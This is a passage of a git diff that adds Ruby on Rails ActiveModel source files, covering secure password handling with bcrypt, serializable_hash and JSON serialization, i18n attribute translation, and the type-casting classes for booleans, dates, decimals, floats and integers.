+          $stderr.puts "You don't have bcrypt installed in your application. Please add it to your Gemfile and run bundle install"
+          raise
+        end
+
+        include InstanceMethodsOnActivation
+
+        if options.fetch(:validations, true)
+          include ActiveModel::Validations
+
+          # This ensures the model has a password by checking whether the password_digest
+          # is present, so that this works with both new and existing records. However,
+          # when there is an error, the message is added to the password attribute instead
+          # so that the error message will make sense to the end-user.
+          validate do |record|
+            record.errors.add(:password, :blank) unless record.password_digest.present?
+          end
+
+          validates_length_of :password, maximum: ActiveModel::SecurePassword::MAX_PASSWORD_LENGTH_ALLOWED
+          validates_confirmation_of :password, allow_blank: true
+        end
+      end
+    end
+
+    module InstanceMethodsOnActivation
+      # Returns +self+ if the password is correct, otherwise +false+.
+      #
+      #   class User < ActiveRecord::Base
+      #     has_secure_password validations: false
+      #   end
+      #
+      #   user = User.new(name: 'david', password: 'mUc3m00RsqyRe')
+      #   user.save
+      #   user.authenticate('notright')      # => false
+      #   user.authenticate('mUc3m00RsqyRe') # => user
+      def authenticate(unencrypted_password)
+        BCrypt::Password.new(password_digest).is_password?(unencrypted_password) && self
+      end
+
+      attr_reader :password
+
+      # Encrypts the password into the +password_digest+ attribute, only if the
+      # new password is not empty.
+      #
+      #   class User < ActiveRecord::Base
+      #     has_secure_password validations: false
+      #   end
+      #
+      #   user = User.new
+      #   user.password = nil
+      #   user.password_digest # => nil
+      #   user.password = 'mUc3m00RsqyRe'
+      #   user.password_digest # => "$2a$10$4LEA7r4YmNHtvlAvHhsYAeZmk/xeUVtMTYqwIvYY76EW5GUqDiP4."
+      def password=(unencrypted_password)
+        if unencrypted_password.nil?
+          self.password_digest = nil
+        elsif !unencrypted_password.empty?
+          @password = unencrypted_password
+          cost = ActiveModel::SecurePassword.min_cost ? BCrypt::Engine::MIN_COST : BCrypt::Engine.cost
+          self.password_digest = BCrypt::Password.create(unencrypted_password, cost: cost)
+        end
+      end
+
+      def password_confirmation=(unencrypted_password)
+        @password_confirmation = unencrypted_password
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/serialization.rb b/activemodel/lib/active_model/serialization.rb
new file mode 100644
index 0000000000..47cb81bee5
--- /dev/null
+++ b/activemodel/lib/active_model/serialization.rb
@@ -0,0 +1,192 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/except"
+require "active_support/core_ext/hash/slice"
+
+module ActiveModel
+  # == Active \Model \Serialization
+  #
+  # Provides a basic serialization to a serializable_hash for your objects.
+  #
+  # A minimal implementation could be:
+  #
+  #   class Person
+  #     include ActiveModel::Serialization
+  #
+  #     attr_accessor :name
+  #
+  #     def attributes
+  #       {'name' => nil}
+  #     end
+  #   end
+  #
+  # Which would provide you with:
+  #
+  #   person = Person.new
+  #   person.serializable_hash   # => {"name"=>nil}
+  #   person.name = "Bob"
+  #   person.serializable_hash   # => {"name"=>"Bob"}
+  #
+  # An +attributes+ hash must be defined and should contain any attributes you
+  # need to be serialized. Attributes must be strings, not symbols.
+  # When called, serializable hash will use instance methods that match the name
+  # of the attributes hash's keys. In order to override this behavior, take a look
+  # at the private method +read_attribute_for_serialization+.
+  #
+  # ActiveModel::Serializers::JSON module automatically includes
+  # the <tt>ActiveModel::Serialization</tt> module, so there is no need to
+  # explicitly include <tt>ActiveModel::Serialization</tt>.
+  #
+  # A minimal implementation including JSON would be:
+  #
+  #   class Person
+  #     include ActiveModel::Serializers::JSON
+  #
+  #     attr_accessor :name
+  #
+  #     def attributes
+  #       {'name' => nil}
+  #     end
+  #   end
+  #
+  # Which would provide you with:
+  #
+  #   person = Person.new
+  #   person.serializable_hash   # => {"name"=>nil}
+  #   person.as_json             # => {"name"=>nil}
+  #   person.to_json             # => "{\"name\":null}"
+  #
+  #   person.name = "Bob"
+  #   person.serializable_hash   # => {"name"=>"Bob"}
+  #   person.as_json             # => {"name"=>"Bob"}
+  #   person.to_json             # => "{\"name\":\"Bob\"}"
+  #
+  # Valid options are <tt>:only</tt>, <tt>:except</tt>, <tt>:methods</tt> and
+  # <tt>:include</tt>. The following are all valid examples:
+  #
+  #   person.serializable_hash(only: 'name')
+  #   person.serializable_hash(include: :address)
+  #   person.serializable_hash(include: { address: { only: 'city' }})
+  module Serialization
+    # Returns a serialized hash of your object.
+    #
+    #   class Person
+    #     include ActiveModel::Serialization
+    #
+    #     attr_accessor :name, :age
+    #
+    #     def attributes
+    #       {'name' => nil, 'age' => nil}
+    #     end
+    #
+    #     def capitalized_name
+    #       name.capitalize
+    #     end
+    #   end
+    #
+    #   person = Person.new
+    #   person.name = 'bob'
+    #   person.age  = 22
+    #   person.serializable_hash                # => {"name"=>"bob", "age"=>22}
+    #   person.serializable_hash(only: :name)   # => {"name"=>"bob"}
+    #   person.serializable_hash(except: :name) # => {"age"=>22}
+    #   person.serializable_hash(methods: :capitalized_name)
+    #   # => {"name"=>"bob", "age"=>22, "capitalized_name"=>"Bob"}
+    #
+    # Example with <tt>:include</tt> option
+    #
+    #   class User
+    #     include ActiveModel::Serializers::JSON
+    #     attr_accessor :name, :notes # Emulate has_many :notes
+    #     def attributes
+    #       {'name' => nil}
+    #     end
+    #   end
+    #
+    #   class Note
+    #     include ActiveModel::Serializers::JSON
+    #     attr_accessor :title, :text
+    #     def attributes
+    #       {'title' => nil, 'text' => nil}
+    #     end
+    #   end
+    #
+    #   note = Note.new
+    #   note.title = 'Battle of Austerlitz'
+    #   note.text = 'Some text here'
+    #
+    #   user = User.new
+    #   user.name = 'Napoleon'
+    #   user.notes = [note]
+    #
+    #   user.serializable_hash
+    #   # => {"name" => "Napoleon"}
+    #   user.serializable_hash(include: { notes: { only: 'title' }})
+    #   # => {"name" => "Napoleon", "notes" => [{"title"=>"Battle of Austerlitz"}]}
+    def serializable_hash(options = nil)
+      options ||= {}
+
+      attribute_names = attributes.keys
+      if only = options[:only]
+        attribute_names &= Array(only).map(&:to_s)
+      elsif except = options[:except]
+        attribute_names -= Array(except).map(&:to_s)
+      end
+
+      hash = {}
+      attribute_names.each { |n| hash[n] = read_attribute_for_serialization(n) }
+
+      Array(options[:methods]).each { |m| hash[m.to_s] = send(m) }
+
+      serializable_add_includes(options) do |association, records, opts|
+        hash[association.to_s] = if records.respond_to?(:to_ary)
+          records.to_ary.map { |a| a.serializable_hash(opts) }
+        else
+          records.serializable_hash(opts)
+        end
+      end
+
+      hash
+    end
+
+    private
+
+      # Hook method defining how an attribute value should be retrieved for
+      # serialization. By default this is assumed to be an instance named after
+      # the attribute. Override this method in subclasses should you need to
+      # retrieve the value for a given attribute differently:
+      #
+      #   class MyClass
+      #     include ActiveModel::Serialization
+      #
+      #     def initialize(data = {})
+      #       @data = data
+      #     end
+      #
+      #     def read_attribute_for_serialization(key)
+      #       @data[key]
+      #     end
+      #   end
+      alias :read_attribute_for_serialization :send
+
+      # Add associations specified via the <tt>:include</tt> option.
+      #
+      # Expects a block that takes as arguments:
+      #   +association+ - name of the association
+      #   +records+     - the association record(s) to be serialized
+      #   +opts+        - options for the association records
+      def serializable_add_includes(options = {}) #:nodoc:
+        return unless includes = options[:include]
+
+        unless includes.is_a?(Hash)
+          includes = Hash[Array(includes).map { |n| n.is_a?(Hash) ? n.to_a.first : [n, {}] }]
+        end
+
+        includes.each do |association, opts|
+          if records = send(association)
+            yield association, records, opts
+          end
+        end
+      end
+  end
+end
diff --git a/activemodel/lib/active_model/serializers/json.rb b/activemodel/lib/active_model/serializers/json.rb
new file mode 100644
index 0000000000..25e1541d66
--- /dev/null
+++ b/activemodel/lib/active_model/serializers/json.rb
@@ -0,0 +1,146 @@
+# frozen_string_literal: true
+
+require "active_support/json"
+
+module ActiveModel
+  module Serializers
+    # == Active \Model \JSON \Serializer
+    module JSON
+      extend ActiveSupport::Concern
+      include ActiveModel::Serialization
+
+      included do
+        extend ActiveModel::Naming
+
+        class_attribute :include_root_in_json, instance_writer: false, default: false
+      end
+
+      # Returns a hash representing the model. Some configuration can be
+      # passed through +options+.
+      #
+      # The option <tt>include_root_in_json</tt> controls the top-level behavior
+      # of +as_json+. If +true+, +as_json+ will emit a single root node named
+      # after the object's type. The default value for <tt>include_root_in_json</tt>
+      # option is +false+.
+      #
+      #   user = User.find(1)
+      #   user.as_json
+      #   # => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+      #   #     "created_at" => "2006/08/01", "awesome" => true}
+      #
+      #   ActiveRecord::Base.include_root_in_json = true
+      #
+      #   user.as_json
+      #   # => { "user" => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+      #   #                  "created_at" => "2006/08/01", "awesome" => true } }
+      #
+      # This behavior can also be achieved by setting the <tt>:root</tt> option
+      # to +true+ as in:
+      #
+      #   user = User.find(1)
+      #   user.as_json(root: true)
+      #   # => { "user" => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+      #   #                  "created_at" => "2006/08/01", "awesome" => true } }
+      #
+      # Without any +options+, the returned Hash will include all the model's
+      # attributes.
+      #
+      #   user = User.find(1)
+      #   user.as_json
+      #   # => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+      #   #      "created_at" => "2006/08/01", "awesome" => true}
+      #
+      # The <tt>:only</tt> and <tt>:except</tt> options can be used to limit
+      # the attributes included, and work similar to the +attributes+ method.
+      #
+      #   user.as_json(only: [:id, :name])
+      #   # => { "id" => 1, "name" => "Konata Izumi" }
+      #
+      #   user.as_json(except: [:id, :created_at, :age])
+      #   # => { "name" => "Konata Izumi", "awesome" => true }
+      #
+      # To include the result of some method calls on the model use <tt>:methods</tt>:
+      #
+      #   user.as_json(methods: :permalink)
+      #   # => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+      #   #      "created_at" => "2006/08/01", "awesome" => true,
+      #   #      "permalink" => "1-konata-izumi" }
+      #
+      # To include associations use <tt>:include</tt>:
+      #
+      #   user.as_json(include: :posts)
+      #   # => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+      #   #      "created_at" => "2006/08/01", "awesome" => true,
+      #   #      "posts" => [ { "id" => 1, "author_id" => 1, "title" => "Welcome to the weblog" },
+      #   #                   { "id" => 2, "author_id" => 1, "title" => "So I was thinking" } ] }
+      #
+      # Second level and higher order associations work as well:
+      #
+      #   user.as_json(include: { posts: {
+      #                              include: { comments: {
+      #                                             only: :body } },
+      #                              only: :title } })
+      #   # => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+      #   #      "created_at" => "2006/08/01", "awesome" => true,
+      #   #      "posts" => [ { "comments" => [ { "body" => "1st post!" }, { "body" => "Second!" } ],
+      #   #                     "title" => "Welcome to the weblog" },
+      #   #                   { "comments" => [ { "body" => "Don't think too hard" } ],
+      #   #                     "title" => "So I was thinking" } ] }
+      def as_json(options = nil)
+        root = if options && options.key?(:root)
+          options[:root]
+        else
+          include_root_in_json
+        end
+
+        if root
+          root = model_name.element if root == true
+          { root => serializable_hash(options) }
+        else
+          serializable_hash(options)
+        end
+      end
+
+      # Sets the model +attributes+ from a JSON string. Returns +self+.
+      #
+      #   class Person
+      #     include ActiveModel::Serializers::JSON
+      #
+      #     attr_accessor :name, :age, :awesome
+      #
+      #     def attributes=(hash)
+      #       hash.each do |key, value|
+      #         send("#{key}=", value)
+      #       end
+      #     end
+      #
+      #     def attributes
+      #       instance_values
+      #     end
+      #   end
+      #
+      #   json = { name: 'bob', age: 22, awesome:true }.to_json
+      #   person = Person.new
+      #   person.from_json(json) # => #<Person:0x007fec5e7a0088 @age=22, @awesome=true, @name="bob">
+      #   person.name            # => "bob"
+      #   person.age             # => 22
+      #   person.awesome         # => true
+      #
+      # The default value for +include_root+ is +false+. You can change it to
+      # +true+ if the given JSON string includes a single root node.
+      #
+      #   json = { person: { name: 'bob', age: 22, awesome:true } }.to_json
+      #   person = Person.new
+      #   person.from_json(json, true) # => #<Person:0x007fec5e7a0088 @age=22, @awesome=true, @name="bob">
+      #   person.name                  # => "bob"
+      #   person.age                   # => 22
+      #   person.awesome               # => true
+      def from_json(json, include_root = include_root_in_json)
+        hash = ActiveSupport::JSON.decode(json)
+        hash = hash.values.first if include_root
+        self.attributes = hash
+        self
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/translation.rb b/activemodel/lib/active_model/translation.rb
new file mode 100644
index 0000000000..f3d0d3dc27
--- /dev/null
+++ b/activemodel/lib/active_model/translation.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  # == Active \Model \Translation
+  #
+  # Provides integration between your object and the Rails internationalization
+  # (i18n) framework.
+  #
+  # A minimal implementation could be:
+  #
+  #   class TranslatedPerson
+  #     extend ActiveModel::Translation
+  #   end
+  #
+  #   TranslatedPerson.human_attribute_name('my_attribute')
+  #   # => "My attribute"
+  #
+  # This also provides the required class methods for hooking into the
+  # Rails internationalization API, including being able to define a
+  # class based +i18n_scope+ and +lookup_ancestors+ to find translations in
+  # parent classes.
+  module Translation
+    include ActiveModel::Naming
+
+    # Returns the +i18n_scope+ for the class. Overwrite if you want custom lookup.
+    def i18n_scope
+      :activemodel
+    end
+
+    # When localizing a string, it goes through the lookup returned by this
+    # method, which is used in ActiveModel::Name#human,
+    # ActiveModel::Errors#full_messages and
+    # ActiveModel::Translation#human_attribute_name.
+    def lookup_ancestors
+      ancestors.select { |x| x.respond_to?(:model_name) }
+    end
+
+    # Transforms attribute names into a more human format, such as "First name"
+    # instead of "first_name".
+    #
+    #   Person.human_attribute_name("first_name") # => "First name"
+    #
+    # Specify +options+ with additional translating options.
+    def human_attribute_name(attribute, options = {})
+      options   = { count: 1 }.merge!(options)
+      parts     = attribute.to_s.split(".")
+      attribute = parts.pop
+      namespace = parts.join("/") unless parts.empty?
+      attributes_scope = "#{i18n_scope}.attributes"
+
+      if namespace
+        defaults = lookup_ancestors.map do |klass|
+          :"#{attributes_scope}.#{klass.model_name.i18n_key}/#{namespace}.#{attribute}"
+        end
+        defaults << :"#{attributes_scope}.#{namespace}.#{attribute}"
+      else
+        defaults = lookup_ancestors.map do |klass|
+          :"#{attributes_scope}.#{klass.model_name.i18n_key}.#{attribute}"
+        end
+      end
+
+      defaults << :"attributes.#{attribute}"
+      defaults << options.delete(:default) if options[:default]
+      defaults << attribute.humanize
+
+      options[:default] = defaults
+      I18n.translate(defaults.shift, options)
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/type.rb b/activemodel/lib/active_model/type.rb
new file mode 100644
index 0000000000..cb603b3d25
--- /dev/null
+++ b/activemodel/lib/active_model/type.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require_relative "type/helpers"
+require_relative "type/value"
+
+require_relative "type/big_integer"
+require_relative "type/binary"
+require_relative "type/boolean"
+require_relative "type/date"
+require_relative "type/date_time"
+require_relative "type/decimal"
+require_relative "type/float"
+require_relative "type/immutable_string"
+require_relative "type/integer"
+require_relative "type/string"
+require_relative "type/time"
+
+require_relative "type/registry"
+
+module ActiveModel
+  module Type
+    @registry = Registry.new
+
+    class << self
+      attr_accessor :registry # :nodoc:
+
+      # Add a new type to the registry, allowing it to be get through ActiveModel::Type#lookup
+      def register(type_name, klass = nil, **options, &block)
+        registry.register(type_name, klass, **options, &block)
+      end
+
+      def lookup(*args, **kwargs) # :nodoc:
+        registry.lookup(*args, **kwargs)
+      end
+    end
+
+    register(:big_integer, Type::BigInteger)
+    register(:binary, Type::Binary)
+    register(:boolean, Type::Boolean)
+    register(:date, Type::Date)
+    register(:datetime, Type::DateTime)
+    register(:decimal, Type::Decimal)
+    register(:float, Type::Float)
+    register(:immutable_string, Type::ImmutableString)
+    register(:integer, Type::Integer)
+    register(:string, Type::String)
+    register(:time, Type::Time)
+  end
+end
diff --git a/activemodel/lib/active_model/type/big_integer.rb b/activemodel/lib/active_model/type/big_integer.rb
new file mode 100644
index 0000000000..d080fcc0f2
--- /dev/null
+++ b/activemodel/lib/active_model/type/big_integer.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require_relative "integer"
+
+module ActiveModel
+  module Type
+    class BigInteger < Integer # :nodoc:
+      private
+
+        def max_value
+          ::Float::INFINITY
+        end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/type/binary.rb b/activemodel/lib/active_model/type/binary.rb
new file mode 100644
index 0000000000..dc2eca18be
--- /dev/null
+++ b/activemodel/lib/active_model/type/binary.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Type
+    class Binary < Value # :nodoc:
+      def type
+        :binary
+      end
+
+      def binary?
+        true
+      end
+
+      def cast(value)
+        if value.is_a?(Data)
+          value.to_s
+        else
+          super
+        end
+      end
+
+      def serialize(value)
+        return if value.nil?
+        Data.new(super)
+      end
+
+      def changed_in_place?(raw_old_value, value)
+        old_value = deserialize(raw_old_value)
+        old_value != value
+      end
+
+      class Data # :nodoc:
+        def initialize(value)
+          @value = value.to_s
+        end
+
+        def to_s
+          @value
+        end
+        alias_method :to_str, :to_s
+
+        def hex
+          @value.unpack("H*")[0]
+        end
+
+        def ==(other)
+          other == to_s || super
+        end
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/type/boolean.rb b/activemodel/lib/active_model/type/boolean.rb
new file mode 100644
index 0000000000..bcdbab0343
--- /dev/null
+++ b/activemodel/lib/active_model/type/boolean.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Type
+    # == Active \Model \Type \Boolean
+    #
+    # A class that behaves like a boolean type, including rules for coercion of user input.
+    #
+    # === Coercion
+    # Values set from user input will first be coerced into the appropriate ruby type.
+    # Coercion behavior is roughly mapped to Ruby's boolean semantics.
+    #
+    # - "false", "f" , "0", +0+ or any other value in +FALSE_VALUES+ will be coerced to +false+
+    # - Empty strings are coerced to +nil+
+    # - All other values will be coerced to +true+
+    class Boolean < Value
+      FALSE_VALUES = [false, 0, "0", "f", "F", "false", "FALSE", "off", "OFF"].to_set
+
+      def type # :nodoc:
+        :boolean
+      end
+
+      private
+
+        def cast_value(value)
+          if value == ""
+            nil
+          else
+            !FALSE_VALUES.include?(value)
+          end
+        end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/type/date.rb b/activemodel/lib/active_model/type/date.rb
new file mode 100644
index 0000000000..8cecc16d0f
--- /dev/null
+++ b/activemodel/lib/active_model/type/date.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Type
+    class Date < Value # :nodoc:
+      include Helpers::AcceptsMultiparameterTime.new
+
+      def type
+        :date
+      end
+
+      def serialize(value)
+        cast(value)
+      end
+
+      def type_cast_for_schema(value)
+        value.to_s(:db).inspect
+      end
+
+      private
+
+        def cast_value(value)
+          if value.is_a?(::String)
+            return if value.empty?
+            fast_string_to_date(value) || fallback_string_to_date(value)
+          elsif value.respond_to?(:to_date)
+            value.to_date
+          else
+            value
+          end
+        end
+
+        ISO_DATE = /\A(\d{4})-(\d\d)-(\d\d)\z/
+        def fast_string_to_date(string)
+          if string =~ ISO_DATE
+            new_date $1.to_i, $2.to_i, $3.to_i
+          end
+        end
+
+        def fallback_string_to_date(string)
+          new_date(*::Date._parse(string, false).values_at(:year, :mon, :mday))
+        end
+
+        def new_date(year, mon, mday)
+          if year && year != 0
+            ::Date.new(year, mon, mday) rescue nil
+          end
+        end
+
+        def value_from_multiparameter_assignment(*)
+          time = super
+          time && time.to_date
+        end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/type/date_time.rb b/activemodel/lib/active_model/type/date_time.rb
new file mode 100644
index 0000000000..9641bf45ee
--- /dev/null
+++ b/activemodel/lib/active_model/type/date_time.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Type
+    class DateTime < Value # :nodoc:
+      include Helpers::TimeValue
+      include Helpers::AcceptsMultiparameterTime.new(
+        defaults: { 4 => 0, 5 => 0 }
+      )
+
+      def type
+        :datetime
+      end
+
+      def serialize(value)
+        super(cast(value))
+      end
+
+      private
+
+        def cast_value(value)
+          return apply_seconds_precision(value) unless value.is_a?(::String)
+          return if value.empty?
+
+          fast_string_to_time(value) || fallback_string_to_time(value)
+        end
+
+        # '0.123456' -> 123456
+        # '1.123456' -> 123456
+        def microseconds(time)
+          time[:sec_fraction] ? (time[:sec_fraction] * 1_000_000).to_i : 0
+        end
+
+        def fallback_string_to_time(string)
+          time_hash = ::Date._parse(string)
+          time_hash[:sec_fraction] = microseconds(time_hash)
+
+          new_time(*time_hash.values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction, :offset))
+        end
+
+        def value_from_multiparameter_assignment(values_hash)
+          missing_parameter = (1..3).detect { |key| !values_hash.key?(key) }
+          if missing_parameter
+            raise ArgumentError, missing_parameter
+          end
+          super
+        end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/type/decimal.rb b/activemodel/lib/active_model/type/decimal.rb
new file mode 100644
index 0000000000..e8ee18c00e
--- /dev/null
+++ b/activemodel/lib/active_model/type/decimal.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+require "bigdecimal/util"
+
+module ActiveModel
+  module Type
+    class Decimal < Value # :nodoc:
+      include Helpers::Numeric
+      BIGDECIMAL_PRECISION = 18
+
+      def type
+        :decimal
+      end
+
+      def type_cast_for_schema(value)
+        value.to_s.inspect
+      end
+
+      private
+
+        def cast_value(value)
+          casted_value = \
+            case value
+            when ::Float
+              convert_float_to_big_decimal(value)
+            when ::Numeric
+              BigDecimal(value, precision || BIGDECIMAL_PRECISION)
+            when ::String
+              begin
+                value.to_d
+              rescue ArgumentError
+                BigDecimal(0)
+              end
+            else
+              if value.respond_to?(:to_d)
+                value.to_d
+              else
+                cast_value(value.to_s)
+              end
+            end
+
+          apply_scale(casted_value)
+        end
+
+        def convert_float_to_big_decimal(value)
+          if precision
+            BigDecimal(apply_scale(value), float_precision)
+          else
+            value.to_d
+          end
+        end
+
+        def float_precision
+          if precision.to_i > ::Float::DIG + 1
+            ::Float::DIG + 1
+          else
+            precision.to_i
+          end
+        end
+
+        def apply_scale(value)
+          if scale
+            value.round(scale)
+          else
+            value
+          end
+        end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/type/float.rb b/activemodel/lib/active_model/type/float.rb
new file mode 100644
index 0000000000..9dbe32e5a6
--- /dev/null
+++ b/activemodel/lib/active_model/type/float.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Type
+    class Float < Value # :nodoc:
+      include Helpers::Numeric
+
+      def type
+        :float
+      end
+
+      def type_cast_for_schema(value)
+        return "::Float::NAN" if value.try(:nan?)
+        case value
+        when ::Float::INFINITY then "::Float::INFINITY"
+        when -::Float::INFINITY then "-::Float::INFINITY"
+        else super
+        end
+      end
+
+      alias serialize cast
+
+      private
+
+        def cast_value(value)
+          case value
+          when ::Float then value
+          when "Infinity" then ::Float::INFINITY
+          when "-Infinity" then -::Float::INFINITY
+          when "NaN" then ::Float::NAN
+          else value.to_f
+          end
+        end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/type/helpers.rb b/activemodel/lib/active_model/type/helpers.rb
new file mode 100644
index 0000000000..a4e1427b64
--- /dev/null
+++ b/activemodel/lib/active_model/type/helpers.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+require_relative "helpers/accepts_multiparameter_time"
+require_relative "helpers/numeric"
+require_relative "helpers/mutable"
+require_relative "helpers/time_value"
diff --git a/activemodel/lib/active_model/type/helpers/accepts_multiparameter_time.rb b/activemodel/lib/active_model/type/helpers/accepts_multiparameter_time.rb
new file mode 100644
index 0000000000..ad891f841e
--- /dev/null
+++ b/activemodel/lib/active_model/type/helpers/accepts_multiparameter_time.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Type
+    module Helpers # :nodoc: all
+      class AcceptsMultiparameterTime < Module
+        def initialize(defaults: {})
+          define_method(:cast) do |value|
+            if value.is_a?(Hash)
+              value_from_multiparameter_assignment(value)
+            else
+              super(value)
+            end
+          end
+
+          define_method(:assert_valid_value) do |value|
+            if value.is_a?(Hash)
+              value_from_multiparameter_assignment(value)
+            else
+              super(value)
+            end
+          end
+
+          define_method(:value_constructed_by_mass_assignment?) do |value|
+            value.is_a?(Hash)
+          end
+
+          define_method(:value_from_multiparameter_assignment) do |values_hash|
+            defaults.each do |k, v|
+              values_hash[k] ||= v
+            end
+            return unless values_hash[1] && values_hash[2] && values_hash[3]
+            values = values_hash.sort.map(&:last)
+            ::Time.send(default_timezone, *values)
+          end
+          private :value_from_multiparameter_assignment
+        end
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/type/helpers/mutable.rb b/activemodel/lib/active_model/type/helpers/mutable.rb
new file mode 100644
index 0000000000..1cbea644c4
--- /dev/null
+++ b/activemodel/lib/active_model/type/helpers/mutable.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Type
+    module Helpers # :nodoc: all
+      module Mutable
+        def cast(value)
+          deserialize(serialize(value))
+        end
+
+        # +raw_old_value+ will be the `_before_type_cast` version of the
+        # value (likely a string). +new_value+ will be the current, type
+        # cast value.
+        def changed_in_place?(raw_old_value, new_value)
+          raw_old_value != serialize(new_value)
+        end
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/type/helpers/numeric.rb b/activemodel/lib/active_model/type/helpers/numeric.rb
new file mode 100644
index 0000000000..16e14f9e5f
--- /dev/null
+++ b/activemodel/lib/active_model/type/helpers/numeric.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Type
+    module Helpers # :nodoc: all
+      module Numeric
+        def cast(value)
+          value = \
+            case value
+            when true then 1
+            when false then 0
+            when ::String then value.presence
+            else value
+            end
+          super(value)
+        end
+
+        def changed?(old_value, _new_value, new_value_before_type_cast) # :nodoc:
+          super || number_to_non_number?(old_value, new_value_before_type_cast)
+        end
+
+        private
+
+          def number_to_non_number?(old_value, new_value_before_type_cast)
+            old_value != nil && non_numeric_string?(new_value_before_type_cast)
+          end
+
+          def non_numeric_string?(value)
+            # 'wibble'.to_i will give zero, we want to make sure
+            # that we aren't marking int zero to string zero as
+            # changed.
+            value.to_s !~ /\A-?\d+\.?\d*\z/
+          end
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/type/helpers/time_value.rb b/activemodel/lib/active_model/type/helpers/time_value.rb
new file mode 100644
index 0000000000..250c4021c6
--- /dev/null
+++ b/activemodel/lib/active_model/type/helpers/time_value.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/time/zones"
+
+module ActiveModel
+  module Type
+    module Helpers # :nodoc: all
+      module TimeValue
+        def serialize(value)
+          value = apply_seconds_precision(value)
+
+          if value.acts_like?(:time)
+            zone_conversion_method = is_utc? ? :getutc : :getlocal
+
+            if value.respond_to?(zone_conversion_method)
+              value = value.send(zone_conversion_method)
+            end
+          end
+
+          value
+        end
+
+        def is_utc?
+          ::Time.zone_default.nil? || ::Time.zone_default =~ "UTC"
+        end
+
+        def default_timezone
+          if is_utc?
+            :utc
+          else
+            :local
+          end
+        end
+
+        def apply_seconds_precision(value)
+          return value unless precision && value.respond_to?(:usec)
+          number_of_insignificant_digits = 6 - precision
+          round_power = 10**number_of_insignificant_digits
+          value.change(usec: value.usec - value.usec % round_power)
+        end
+
+        def type_cast_for_schema(value)
+          value.to_s(:db).inspect
+        end
+
+        def user_input_in_time_zone(value)
+          value.in_time_zone
+        end
+
+        private
+
+          def new_time(year, mon, mday, hour, min, sec, microsec, offset = nil)
+            # Treat 0000-00-00 00:00:00 as nil.
+            return if year.nil? || (year == 0 && mon == 0 && mday == 0)
+
+            if offset
+              time = ::Time.utc(year, mon, mday, hour, min, sec, microsec) rescue nil
+              return unless time
+
+              time -= offset
+              is_utc? ? time : time.getlocal
+            else
+              ::Time.public_send(default_timezone, year, mon, mday, hour, min, sec, microsec) rescue nil
+            end
+          end
+
+          ISO_DATETIME = /\A(\d{4})-(\d\d)-(\d\d) (\d\d):(\d\d):(\d\d)(\.\d+)?\z/
+
+          # Doesn't handle time zones.
+          def fast_string_to_time(string)
+            if string =~ ISO_DATETIME
+              microsec = ($7.to_r * 1_000_000).to_i
+              new_time $1.to_i, $2.to_i, $3.to_i, $4.to_i, $5.to_i, $6.to_i, microsec
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/type/immutable_string.rb b/activemodel/lib/active_model/type/immutable_string.rb
new file mode 100644
index 0000000000..826bd7038f
--- /dev/null
+++ b/activemodel/lib/active_model/type/immutable_string.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Type
+    class ImmutableString < Value # :nodoc:
+      def type
+        :string
+      end
+
+      def serialize(value)
+        case value
+        when ::Numeric, ActiveSupport::Duration then value.to_s
+        when true then "t"
+        when false then "f"
+        else super
+        end
+      end
+
+      private
+
+        def cast_value(value)
+          result = \
+            case value
+            when true then "t"
+            when false then "f"
+            else value.to_s
+            end
+          result.freeze
+        end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/type/integer.rb b/activemodel/lib/active_model/type/integer.rb
new file mode 100644
index 0000000000..d1473bd792
--- /dev/null
+++ b/activemodel/lib/active_model/type/integer.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Type
+    class Integer < Value # :nodoc:
+      include Helpers::Numeric
+
+      # Column storage size in bytes.
+      # 4 bytes means a MySQL int or Postgres integer as opposed to smallint etc.
+      DEFAULT_LIMIT = 4
+
+      def initialize(*)
+        super
+        @range = min_value...max_value
+      end
+
+      def type
+        :integer
+      end
+
+      def deserialize(value)
+        return if value.nil?
+        value.to_i
+      end
+
+      def serialize(value)
+        result = cast(value)
+        if result
+          ensure_in_range(result)
+        end
+        result
+      end
+
